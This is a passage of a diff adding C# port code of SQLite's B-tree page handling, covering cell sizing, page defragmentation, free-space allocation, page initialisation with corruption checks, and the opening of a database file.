+ 4); + } + } + //#define parseCell(pPage, iCell, pInfo) \ + // btreeParseCellPtr((pPage), findCell((pPage), (iCell)), (pInfo)) + static void parseCell( MemPage pPage, int iCell, ref CellInfo pInfo ) + { + btreeParseCellPtr( ( pPage ), findCell( ( pPage ), ( iCell ) ), ref ( pInfo ) ); + } + + static void btreeParseCell( + MemPage pPage, /* Page containing the cell */ + int iCell, /* The cell index. First cell is 0 */ + ref CellInfo pInfo /* Fill in this structure */ + ) + { + parseCell( pPage, iCell, ref pInfo ); + } + + /* + ** Compute the total number of bytes that a Cell needs in the cell + ** data area of the btree-page. The return number includes the cell + ** data header and the local payload, but not any overflow page or + ** the space used by the cell pointer. + */ + // Alternative form for C# + static u16 cellSizePtr(MemPage pPage, int iCell) + { + CellInfo info = new CellInfo(); + byte[] pCell = new byte[13];// Minimum Size = (2 bytes of Header or (4) Child Pointer) + (maximum of) 9 bytes data + if (iCell < 0)// Overflow Cell + Buffer.BlockCopy(pPage.aOvfl[-(iCell + 1)].pCell, 0, pCell, 0, pCell.Length < pPage.aOvfl[-(iCell + 1)].pCell.Length ? pCell.Length : pPage.aOvfl[-(iCell + 1)].pCell.Length); + else if (iCell >= pPage.aData.Length + 1 - pCell.Length) + Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pPage.aData.Length - iCell); + else + Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pCell.Length); + btreeParseCellPtr( pPage, pCell, ref info ); + return info.nSize; + } + + // Alternative form for C# + static u16 cellSizePtr(MemPage pPage, byte[] pCell, int offset) + { + CellInfo info = new CellInfo(); + byte[] pTemp = new byte[pCell.Length]; + Buffer.BlockCopy(pCell, offset, pTemp, 0, pCell.Length - offset); + btreeParseCellPtr( pPage, pTemp, ref info ); + return info.nSize; + } + + static u16 cellSizePtr(MemPage pPage, u8[] pCell) + { + int _pIter = pPage.childPtrSize; //u8 pIter = &pCell[pPage.childPtrSize]; + u32 nSize = 0; + +#if SQLITE_DEBUG || DEBUG + /* The value returned by this function should always be the same as +** the (CellInfo.nSize) value found by doing a full parse of the +** cell. If SQLITE_DEBUG is defined, an Debug.Assert() at the bottom of +** this function verifies that this invariant is not violated. */ + CellInfo debuginfo = new CellInfo(); + btreeParseCellPtr(pPage, pCell, ref debuginfo); +#else + CellInfo debuginfo = new CellInfo(); +#endif + + if (pPage.intKey != 0) + { + int pEnd; + if (pPage.hasData != 0) + { + _pIter += getVarint32(pCell, ref nSize);// pIter += getVarint32( pIter, ref nSize ); + } + else + { + nSize = 0; + } + + /* pIter now points at the 64-bit integer key value, a variable length + ** integer. The following block moves pIter to point at the first byte + ** past the end of the key value. */ + pEnd = _pIter + 9;//pEnd = &pIter[9]; + while (((pCell[_pIter++]) & 0x80) != 0 && _pIter < pEnd) ;//while( (pIter++)&0x80 && pIter pPage.maxLocal) + { + int minLocal = pPage.minLocal; + nSize = (u32)(minLocal + (nSize - minLocal) % (pPage.pBt.usableSize - 4)); + testcase(nSize == pPage.maxLocal); + testcase(nSize == pPage.maxLocal + 1); + if (nSize > pPage.maxLocal) + { + nSize = (u32)minLocal; + } + nSize += 4; + } + nSize += (uint)_pIter;//nSize += (u32)(pIter - pCell); + + /* The minimum size of any cell is 4 bytes. */ + if (nSize < 4) + { + nSize = 4; + } + + Debug.Assert(nSize == debuginfo.nSize); + return (u16)nSize; + } +#if !NDEBUG || DEBUG + static u16 cellSize(MemPage pPage, int iCell) + { + return cellSizePtr(pPage, findCell(pPage, iCell)); + } +#else +static int cellSize(MemPage pPage, int iCell) { return -1; } +#endif + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** If the cell pCell, part of page pPage contains a pointer +** to an overflow page, insert an entry into the pointer-map +** for the overflow page. +*/ + static void ptrmapPutOvflPtr(MemPage pPage, int pCell, ref int pRC) + { + if (pRC != 0) return; + CellInfo info = new CellInfo(); + Debug.Assert(pCell != 0); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload); + if (info.iOverflow != 0) + { + Pgno ovfl = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow); + ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC); + } + } + + static void ptrmapPutOvflPtr(MemPage pPage, u8[] pCell, ref int pRC) + { + if (pRC != 0) return; + CellInfo info = new CellInfo(); + Debug.Assert(pCell != null); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert((info.nData + (pPage.intKey != 0 ? 0 : info.nKey)) == info.nPayload); + if (info.iOverflow != 0) + { + Pgno ovfl = sqlite3Get4byte(pCell, info.iOverflow); + ptrmapPut(pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC); + } + } +#endif + + + /* +** Defragment the page given. All Cells are moved to the +** end of the page and all free space is collected into one +** big FreeBlk that occurs in between the header and cell +** pointer array and the cell content area. +*/ + static int defragmentPage(MemPage pPage) + { + int i; /* Loop counter */ + int pc; /* Address of a i-th cell */ + int addr; /* Offset of first byte after cell pointer array */ + int hdr; /* Offset to the page header */ + int size; /* Size of a cell */ + int usableSize; /* Number of usable bytes on a page */ + int cellOffset; /* Offset to the cell pointer array */ + int cbrk; /* Offset to the cell content area */ + int nCell; /* Number of cells on the page */ + byte[] data; /* The page data */ + byte[] temp; /* Temp area for cell content */ + int iCellFirst; /* First allowable cell index */ + int iCellLast; /* Last possible cell index */ + + + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + Debug.Assert(pPage.pBt != null); + Debug.Assert(pPage.pBt.usableSize <= SQLITE_MAX_PAGE_SIZE); + Debug.Assert(pPage.nOverflow == 0); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + temp = sqlite3PagerTempSpace(pPage.pBt.pPager); + data = pPage.aData; + hdr = pPage.hdrOffset; + cellOffset = pPage.cellOffset; + nCell = pPage.nCell; + Debug.Assert(nCell == get2byte(data, hdr + 3)); + usableSize = pPage.pBt.usableSize; + cbrk = get2byte(data, hdr + 5); + Buffer.BlockCopy(data, cbrk, temp, cbrk, usableSize - cbrk);//memcpy( temp[cbrk], ref data[cbrk], usableSize - cbrk ); + cbrk = usableSize; + iCellFirst = cellOffset + 2 * nCell; + iCellLast = usableSize - 4; + for (i = 0; i < nCell; i++) + { + int pAddr; /* The i-th cell pointer */ + pAddr = cellOffset + i * 2; // &data[cellOffset + i * 2]; + pc = get2byte(data, pAddr); + testcase(pc == iCellFirst); + testcase(pc == iCellLast); +#if !(SQLITE_ENABLE_OVERSIZE_CELL_CHECK) +/* These conditions have already been verified in btreeInitPage() +** if SQLITE_ENABLE_OVERSIZE_CELL_CHECK is defined +*/ +if( pciCellLast ){ +#if SQLITE_DEBUG || DEBUG +return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif +} +#endif + Debug.Assert(pc >= iCellFirst && pc <= iCellLast); + size = cellSizePtr(pPage, temp, pc); + cbrk -= size; +#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) + if (cbrk < iCellFirst) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } +#else +if( cbrkusableSize ){ +#if SQLITE_DEBUG || DEBUG +return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif +} +#endif + Debug.Assert(cbrk + size <= usableSize && cbrk >= iCellFirst); + testcase(cbrk + size == usableSize); + testcase(pc + size == usableSize); + Buffer.BlockCopy(temp, pc, data, cbrk, size);//memcpy(data[cbrk], ref temp[pc], size); + put2byte(data, pAddr, cbrk); + } + Debug.Assert(cbrk >= iCellFirst); + put2byte(data, hdr + 5, cbrk); + data[hdr + 1] = 0; + data[hdr + 2] = 0; + data[hdr + 7] = 0; + addr = cellOffset + 2 * nCell; + Array.Clear(data, addr, cbrk - addr); //memset(data[iCellFirst], 0, cbrk-iCellFirst); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + if (cbrk - iCellFirst != pPage.nFree) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + return SQLITE_OK; + } + + /* + ** Allocate nByte bytes of space from within the B-Tree page passed + ** as the first argument. Write into pIdx the index into pPage.aData[] + ** of the first byte of allocated space. Return either SQLITE_OK or + ** an error code (usually SQLITE_CORRUPT). + ** + ** The caller guarantees that there is sufficient space to make the + ** allocation. This routine might need to defragment in order to bring + ** all the space together, however. This routine will avoid using + ** the first two bytes past the cell pointer area since presumably this + ** allocation is being made in order to insert a new cell, so we will + ** also end up needing a new cell pointer. + */ + static int allocateSpace(MemPage pPage, int nByte, ref int pIdx) + { + int hdr = pPage.hdrOffset; /* Local cache of pPage.hdrOffset */ + u8[] data = pPage.aData; /* Local cache of pPage.aData */ + int nFrag; /* Number of fragmented bytes on pPage */ + int top; /* First byte of cell content area */ + int gap; /* First byte of gap between cell pointers and cell content */ + int rc; /* Integer return code */ + + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + Debug.Assert(pPage.pBt != null); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(nByte >= 0); /* Minimum cell size is 4 */ + Debug.Assert(pPage.nFree >= nByte); + Debug.Assert(pPage.nOverflow == 0); + Debug.Assert(nByte < pPage.pBt.usableSize - 8); + + nFrag = data[hdr + 7]; + Debug.Assert(pPage.cellOffset == hdr + 12 - 4 * pPage.leaf); + gap = pPage.cellOffset + 2 * pPage.nCell; + top = get2byte(data, hdr + 5); + if (gap > top) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + testcase(gap + 2 == top); + testcase(gap + 1 == top); + testcase(gap == top); + + if (nFrag >= 60) + { + /* Always defragment highly fragmented pages */ + rc = defragmentPage(pPage); + if (rc != 0) return rc; + top = get2byte(data, hdr + 5); + } + else if (gap + 2 <= top) + { + /* Search the freelist looking for a free slot big enough to satisfy + ** the request. The allocation is made from the first free slot in + ** the list that is large enough to accomadate it. + */ + int pc, addr; + for (addr = hdr + 1; (pc = get2byte(data, addr)) > 0; addr = pc) + { + int size = get2byte(data, pc + 2); /* Size of free slot */ + if (size >= nByte) + { + int x = size - nByte; + testcase(x == 4); + testcase(x == 3); + if (x < 4) + { + /* Remove the slot from the free-list. Update the number of + ** fragmented bytes within the page. */ + data[addr + 0] = data[pc + 0]; data[addr + 1] = data[pc + 1]; //memcpy( data[addr], ref data[pc], 2 ); + data[hdr + 7] = (u8)(nFrag + x); + } + else + { + /* The slot remains on the free-list. Reduce its size to account + ** for the portion used by the new allocation. */ + put2byte(data, pc + 2, x); + } + pIdx = pc + x; + return SQLITE_OK; + } + } + } + + /* Check to make sure there is enough space in the gap to satisfy + ** the allocation. If not, defragment. + */ + testcase(gap + 2 + nByte == top); + if (gap + 2 + nByte > top) + { + rc = defragmentPage(pPage); + if (rc != 0) return rc; + top = get2byte(data, hdr + 5); + Debug.Assert(gap + nByte <= top); + } + + + /* Allocate memory from the gap in between the cell pointer array + ** and the cell content area. The btreeInitPage() call has already + ** validated the freelist. Given that the freelist is valid, there + ** is no way that the allocation can extend off the end of the page. + ** The Debug.Assert() below verifies the previous sentence. + */ + top -= nByte; + put2byte(data, hdr + 5, top); + Debug.Assert(top + nByte <= pPage.pBt.usableSize); + pIdx = top; + return SQLITE_OK; + } + + /* + ** Return a section of the pPage.aData to the freelist. + ** The first byte of the new free block is pPage.aDisk[start] + ** and the size of the block is "size" bytes. + ** + ** Most of the effort here is involved in coalesing adjacent + ** free blocks into a single big free block. + */ + static int freeSpace(MemPage pPage, int start, int size) + { + int addr, pbegin, hdr; + int iLast; /* Largest possible freeblock offset */ + byte[] data = pPage.aData; + + Debug.Assert(pPage.pBt != null); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + Debug.Assert(start >= pPage.hdrOffset + 6 + pPage.childPtrSize); + Debug.Assert((start + size) <= pPage.pBt.usableSize); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(size >= 0); /* Minimum cell size is 4 */ + +#if SQLITE_SECURE_DELETE +/* Overwrite deleted information with zeros when the SECURE_DELETE +** option is enabled at compile-time */ +memset(data[start], 0, size); +#endif + + /* Add the space back into the linked list of freeblocks. Note that +** even though the freeblock list was checked by btreeInitPage(), +** btreeInitPage() did not detect overlapping cells or +** freeblocks that overlapped cells. Nor does it detect when the +** cell content area exceeds the value in the page header. If these +** situations arise, then subsequent insert operations might corrupt +** the freelist. So we do need to check for corruption while scanning +** the freelist. +*/ + hdr = pPage.hdrOffset; + addr = hdr + 1; + iLast = pPage.pBt.usableSize - 4; + Debug.Assert(start <= iLast); + while ((pbegin = get2byte(data, addr)) < start && pbegin > 0) + { + if (pbegin < addr + 4) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + addr = pbegin; + } + if (pbegin > iLast) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + Debug.Assert(pbegin > addr || pbegin == 0); + put2byte(data, addr, start); + put2byte(data, start, pbegin); + put2byte(data, start + 2, size); + pPage.nFree = (u16)(pPage.nFree + size); + + /* Coalesce adjacent free blocks */ + addr = hdr + 1; + while ((pbegin = get2byte(data, addr)) > 0) + { + int pnext, psize, x; + Debug.Assert(pbegin > addr); + Debug.Assert(pbegin <= pPage.pBt.usableSize - 4); + pnext = get2byte(data, pbegin); + psize = get2byte(data, pbegin + 2); + if (pbegin + psize + 3 >= pnext && pnext > 0) + { + int frag = pnext - (pbegin + psize); + if ((frag < 0) || (frag > (int)data[hdr + 7])) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + data[hdr + 7] -= (u8)frag; + x = get2byte(data, pnext); + put2byte(data, pbegin, x); + x = pnext + get2byte(data, pnext + 2) - pbegin; + put2byte(data, pbegin + 2, x); + } + else + { + addr = pbegin; + } + } + + /* If the cell content area begins with a freeblock, remove it. */ + if (data[hdr + 1] == data[hdr + 5] && data[hdr + 2] == data[hdr + 6]) + { + int top; + pbegin = get2byte(data, hdr + 1); + put2byte(data, hdr + 1, get2byte(data, pbegin)); //memcpy( data[hdr + 1], ref data[pbegin], 2 ); + top = get2byte(data, hdr + 5) + get2byte(data, pbegin + 2); + put2byte(data, hdr + 5, top); + } + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + return SQLITE_OK; + } + + /* + ** Decode the flags byte (the first byte of the header) for a page + ** and initialize fields of the MemPage structure accordingly. + ** + ** Only the following combinations are supported. Anything different + ** indicates a corrupt database files: + ** + ** PTF_ZERODATA + ** PTF_ZERODATA | PTF_LEAF + ** PTF_LEAFDATA | PTF_INTKEY + ** PTF_LEAFDATA | PTF_INTKEY | PTF_LEAF + */ + static int decodeFlags(MemPage pPage, int flagByte) + { + BtShared pBt; /* A copy of pPage.pBt */ + + Debug.Assert(pPage.hdrOffset == (pPage.pgno == 1 ? 100 : 0)); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + pPage.leaf = (u8)(flagByte >> 3); Debug.Assert(PTF_LEAF == 1 << 3); + flagByte &= ~PTF_LEAF; + pPage.childPtrSize = (u8)(4 - 4 * pPage.leaf); + pBt = pPage.pBt; + if (flagByte == (PTF_LEAFDATA | PTF_INTKEY)) + { + pPage.intKey = 1; + pPage.hasData = pPage.leaf; + pPage.maxLocal = pBt.maxLeaf; + pPage.minLocal = pBt.minLeaf; + } + else if (flagByte == PTF_ZERODATA) + { + pPage.intKey = 0; + pPage.hasData = 0; + pPage.maxLocal = pBt.maxLocal; + pPage.minLocal = pBt.minLocal; + } + else + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + return SQLITE_OK; + } + + /* + ** Initialize the auxiliary information for a disk block. + ** + ** Return SQLITE_OK on success. If we see that the page does + ** not contain a well-formed database page, then return + ** SQLITE_CORRUPT. Note that a return of SQLITE_OK does not + ** guarantee that the page is well-formed. It only shows that + ** we failed to detect any corruption. + */ + static int btreeInitPage(MemPage pPage) + { + + Debug.Assert(pPage.pBt != null); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(pPage.pgno == sqlite3PagerPagenumber(pPage.pDbPage)); + Debug.Assert(pPage == sqlite3PagerGetExtra(pPage.pDbPage)); + Debug.Assert(pPage.aData == sqlite3PagerGetData(pPage.pDbPage)); + + if (0 == pPage.isInit) + { + u16 pc; /* Address of a freeblock within pPage.aData[] */ + u8 hdr; /* Offset to beginning of page header */ + u8[] data; /* Equal to pPage.aData */ + BtShared pBt; /* The main btree structure */ + u16 usableSize; /* Amount of usable space on each page */ + u16 cellOffset; /* Offset from start of page to first cell pointer */ + u16 nFree; /* Number of unused bytes on the page */ + u16 top; /* First byte of the cell content area */ + int iCellFirst; /* First allowable cell or freeblock offset */ + int iCellLast; /* Last possible cell or freeblock offset */ + + pBt = pPage.pBt; + + hdr = pPage.hdrOffset; + data = pPage.aData; + if (decodeFlags(pPage, data[hdr]) != 0) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768); + pPage.maskPage = (u16)(pBt.pageSize - 1); + pPage.nOverflow = 0; + usableSize = pBt.usableSize; + pPage.cellOffset = (cellOffset = (u16)(hdr + 12 - 4 * pPage.leaf)); + top = (u16)get2byte(data, hdr + 5); + pPage.nCell = (u16)(get2byte(data, hdr + 3)); + if (pPage.nCell > MX_CELL(pBt)) + { + /* To many cells for a single page. The page must be corrupt */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + testcase(pPage.nCell == MX_CELL(pBt)); + + /* A malformed database page might cause us to read past the end + ** of page when parsing a cell. + ** + ** The following block of code checks early to see if a cell extends + ** past the end of a page boundary and causes SQLITE_CORRUPT to be + ** returned if it does. + */ + iCellFirst = cellOffset + 2 * pPage.nCell; + iCellLast = usableSize - 4; +#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) + { + int i; /* Index into the cell pointer array */ + int sz; /* Size of a cell */ + + if (0 == pPage.leaf) iCellLast--; + for (i = 0; i < pPage.nCell; i++) + { + pc = (u16)get2byte(data, cellOffset + i * 2); + testcase(pc == iCellFirst); + testcase(pc == iCellLast); + if (pc < iCellFirst || pc > iCellLast) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + sz = cellSizePtr(pPage, data, pc); + testcase(pc + sz == usableSize); + if (pc + sz > usableSize) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + } + if (0 == pPage.leaf) iCellLast++; + } +#endif + + /* Compute the total free space on the page */ + pc = (u16)get2byte(data, hdr + 1); + nFree = (u16)(data[hdr + 7] + top); + while (pc > 0) + { + u16 next, size; + if (pc < iCellFirst || pc > iCellLast) + { + /* Free block is off the page */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + next = (u16)get2byte(data, pc); + size = (u16)get2byte(data, pc + 2); + if (next > 0 && next <= pc + size + 3) + { + /* Free blocks must be in ascending order */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + nFree = (u16)(nFree + size); + pc = next; + } + + /* At this point, nFree contains the sum of the offset to the start + ** of the cell-content area plus the number of free bytes within + ** the cell-content area. If this is greater than the usable-size + ** of the page, then the page must be corrupted. This check also + ** serves to verify that the offset to the start of the cell-content + ** area, according to the page header, lies within the page. + */ + if (nFree > usableSize) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + pPage.nFree = (u16)(nFree - iCellFirst); + pPage.isInit = 1; + } + return SQLITE_OK; + } + + /* + ** Set up a raw page so that it looks like a database page holding + ** no entries. + */ + static void zeroPage(MemPage pPage, int flags) + { + byte[] data = pPage.aData; + BtShared pBt = pPage.pBt; + u8 hdr = pPage.hdrOffset; + u16 first; + + Debug.Assert(sqlite3PagerPagenumber(pPage.pDbPage) == pPage.pgno); + Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage); + Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == data); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + /*memset(data[hdr], 0, pBt.usableSize - hdr);*/ + data[hdr] = (u8)flags; + first = (u16)(hdr + 8 + 4 * ((flags & PTF_LEAF) == 0 ? 1 : 0)); + Array.Clear(data, hdr + 1, 4);//memset(data[hdr+1], 0, 4); + data[hdr + 7] = 0; + put2byte(data, hdr + 5, pBt.usableSize); + pPage.nFree = (u16)(pBt.usableSize - first); + decodeFlags(pPage, flags); + pPage.hdrOffset = hdr; + pPage.cellOffset = first; + pPage.nOverflow = 0; + Debug.Assert(pBt.pageSize >= 512 && pBt.pageSize <= 32768); + pPage.maskPage = (u16)(pBt.pageSize - 1); + pPage.nCell = 0; + pPage.isInit = 1; + } + + + /* + ** Convert a DbPage obtained from the pager into a MemPage used by + ** the btree layer. + */ + static MemPage btreePageFromDbPage(DbPage pDbPage, Pgno pgno, BtShared pBt) + { + MemPage pPage = (MemPage)sqlite3PagerGetExtra(pDbPage); + pPage.aData = sqlite3PagerGetData(pDbPage); + pPage.pDbPage = pDbPage; + pPage.pBt = pBt; + pPage.pgno = pgno; + pPage.hdrOffset = (u8)(pPage.pgno == 1 ? 100 : 0); + return pPage; + } + + /* + ** Get a page from the pager. Initialize the MemPage.pBt and + ** MemPage.aData elements if needed. + ** + ** If the noContent flag is set, it means that we do not care about + ** the content of the page at this time. So do not go to the disk + ** to fetch the content. Just fill in the content with zeros for now. + ** If in the future we call sqlite3PagerWrite() on this page, that + ** means we have started to be concerned about content and the disk + ** read should occur at that point. + */ + static int btreeGetPage( + BtShared pBt, /* The btree */ + Pgno pgno, /* Number of the page to fetch */ + ref MemPage ppPage, /* Return the page in this parameter */ + int noContent /* Do not load page content if true */ + ) + { + int rc; + DbPage pDbPage = new PgHdr(); + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + rc = sqlite3PagerAcquire(pBt.pPager, pgno, ref pDbPage, (u8)noContent); + if (rc != 0) return rc; + ppPage = btreePageFromDbPage(pDbPage, pgno, pBt); + return SQLITE_OK; + } + + /* + ** Retrieve a page from the pager cache. If the requested page is not + ** already in the pager cache return NULL. Initialize the MemPage.pBt and + ** MemPage.aData elements if needed. + */ + static MemPage btreePageLookup(BtShared pBt, Pgno pgno) + { + DbPage pDbPage; + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + pDbPage = sqlite3PagerLookup(pBt.pPager, pgno); + if (pDbPage) + { + return btreePageFromDbPage(pDbPage, pgno, pBt); + } + return null; + } + + /* + ** Return the size of the database file in pages. If there is any kind of + ** error, return ((unsigned int)-1). + */ + static Pgno pagerPagecount(BtShared pBt) + { + int nPage = -1; + int rc; + Debug.Assert(pBt.pPage1 != null); + rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); + Debug.Assert(rc == SQLITE_OK || nPage == -1); + return (Pgno)nPage; + } + + /* + ** Get a page from the pager and initialize it. This routine is just a + ** convenience wrapper around separate calls to btreeGetPage() and + ** btreeInitPage(). + ** + ** If an error occurs, then the value ppPage is set to is undefined. It + ** may remain unchanged, or it may be set to an invalid value. + */ + static int getAndInitPage( + BtShared pBt, /* The database file */ + Pgno pgno, /* Number of the page to get */ + ref MemPage ppPage /* Write the page pointer here */ + ) + { + int rc; +#if !NDEBUG || SQLITE_COVERAGE_TEST + Pgno iLastPg = pagerPagecount(pBt);// TESTONLY( Pgno iLastPg = pagerPagecount(pBt); ) +#else +const Pgno iLastPg = Pgno.MaxValue; +#endif + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + + rc = btreeGetPage(pBt, pgno, ref ppPage, 0); + if (rc == SQLITE_OK) + { + rc = btreeInitPage(ppPage); + if (rc != SQLITE_OK) + { + releasePage(ppPage); + } + } + + /* If the requested page number was either 0 or greater than the page + ** number of the last page in the database, this function should return + ** SQLITE_CORRUPT or some other error (i.e. SQLITE_FULL). Check that this + ** is the case. */ + Debug.Assert((pgno > 0 && pgno <= iLastPg) || rc != SQLITE_OK); + testcase(pgno == 0); + testcase(pgno == iLastPg); + + return rc; + } + + /* + ** Release a MemPage. This should be called once for each prior + ** call to btreeGetPage. + */ + static void releasePage(MemPage pPage) + { + if (pPage != null) + { + Debug.Assert(pPage.nOverflow == 0 || sqlite3PagerPageRefcount(pPage.pDbPage) > 1); + Debug.Assert(pPage.aData != null); + Debug.Assert(pPage.pBt != null); + Debug.Assert(sqlite3PagerGetExtra(pPage.pDbPage) == pPage); + Debug.Assert(sqlite3PagerGetData(pPage.pDbPage) == pPage.aData); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + sqlite3PagerUnref(pPage.pDbPage); + } + } + + /* + ** During a rollback, when the pager reloads information into the cache + ** so that the cache is restored to its original state at the start of + ** the transaction, for each page restored this routine is called. + ** + ** This routine needs to reset the extra data section at the end of the + ** page to agree with the restored data. + */ + static void pageReinit(DbPage pData) + { + MemPage pPage; + pPage = sqlite3PagerGetExtra(pData); + Debug.Assert(sqlite3PagerPageRefcount(pData) > 0); + if (pPage.isInit != 0) + { + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + pPage.isInit = 0; + if (sqlite3PagerPageRefcount(pData) > 1) + { + /* pPage might not be a btree page; it might be an overflow page + ** or ptrmap page or a free page. In those cases, the following + ** call to btreeInitPage() will likely return SQLITE_CORRUPT. + ** But no harm is done by this. And it is very important that + ** btreeInitPage() be called on every btree page so we make + ** the call for every page that comes in for re-initing. */ + btreeInitPage(pPage); + } + } + } + + /* + ** Invoke the busy handler for a btree. + */ + static int btreeInvokeBusyHandler(object pArg) + { + BtShared pBt = (BtShared)pArg; + Debug.Assert(pBt.db != null); + Debug.Assert(sqlite3_mutex_held(pBt.db.mutex)); + return sqlite3InvokeBusyHandler(pBt.db.busyHandler); + } + + /* + ** Open a database file. + ** + ** zFilename is the name of the database file. If zFilename is NULL + ** a new database with a random name is created. This randomly named + ** database file will be deleted when sqlite3BtreeClose() is called. + ** If zFilename is ":memory:" then an in-memory database is created + ** that is automatically destroyed when it is closed. + ** + ** If the database is already opened in the same database connection + ** and we are in shared cache mode, then the open will fail with an + ** SQLITE_CONSTRAINT error. We cannot allow two or more BtShared + ** objects in the same database connection since doing so will lead + ** to problems with locking. + */ + static int sqlite3BtreeOpen( + string zFilename, /* Name of the file containing the BTree database */ + sqlite3 db, /* Associated database handle */ + ref Btree ppBtree, /* Pointer to new Btree object written here */ + int flags, /* Options */ + int vfsFlags /* Flags passed through to sqlite3_vfs.xOpen() */ + ) + { + sqlite3_vfs pVfs; /* The VFS to use for this btree */ + BtShared pBt = null; /* Shared part of btree structure */ + Btree p; /* Handle to return */ + sqlite3_mutex mutexOpen = null; /* Prevents a race condition. Ticket #3537 */ + int rc = SQLITE_OK; /* Result code from this function */ + u8 nReserve; /* Byte of unused space on each page */ + byte[] zDbHeader = new byte[100]; /* Database header content */ + + /* Set the variable isMemdb to true for an in-memory database, or + ** false for a file-based database. This symbol is only required if + ** either of the shared-data or autovacuum features are compiled + ** into the library. + */ +#if !(SQLITE_OMIT_SHARED_CACHE) || !(SQLITE_OMIT_AUTOVACUUM) +#if SQLITE_OMIT_MEMORYDB +bool isMemdb = false; +#else + bool isMemdb = zFilename == ":memory:"; +#endif +#endif + + Debug.Assert(db != null); + Debug.Assert(sqlite3_mutex_held(db.mutex)); + + pVfs = db.pVfs; + p = new Btree();//sqlite3MallocZero(sizeof(Btree)); + //if( !p ){ + // return SQLITE_NOMEM; + //} + p.inTrans = TRANS_NONE; + p.db = db; +#if !SQLITE_OMIT_SHARED_CACHE +p.lock.pBtree = p; +p.lock.iTable = 1; +#endif + +#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +/* +** If this Btree is a candidate for shared cache, try to find an +** existing BtShared object that we can share with +*/ +if( isMemdb==null && zFilename && zFilename[0] ){ +if( sqlite3GlobalConfig.sharedCacheEnabled ){ +int nFullPathname = pVfs.mxPathname+1; +string zFullPathname = sqlite3Malloc(nFullPathname); +sqlite3_mutex *mutexShared; +p.sharable = 1; +if( !zFullPathname ){ +p = null;//sqlite3_free(ref p); +return SQLITE_NOMEM; +} +sqlite3OsFullPathname(pVfs, zFilename, nFullPathname, zFullPathname); +mutexOpen = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_OPEN); +sqlite3_mutex_enter(mutexOpen); +mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +sqlite3_mutex_enter(mutexShared); +for(pBt=GLOBAL(BtShared*,sqlite3SharedCacheList); pBt; pBt=pBt.pNext){ +Debug.Assert( pBt.nRef>0 ); +if( 0==strcmp(zFullPathname, 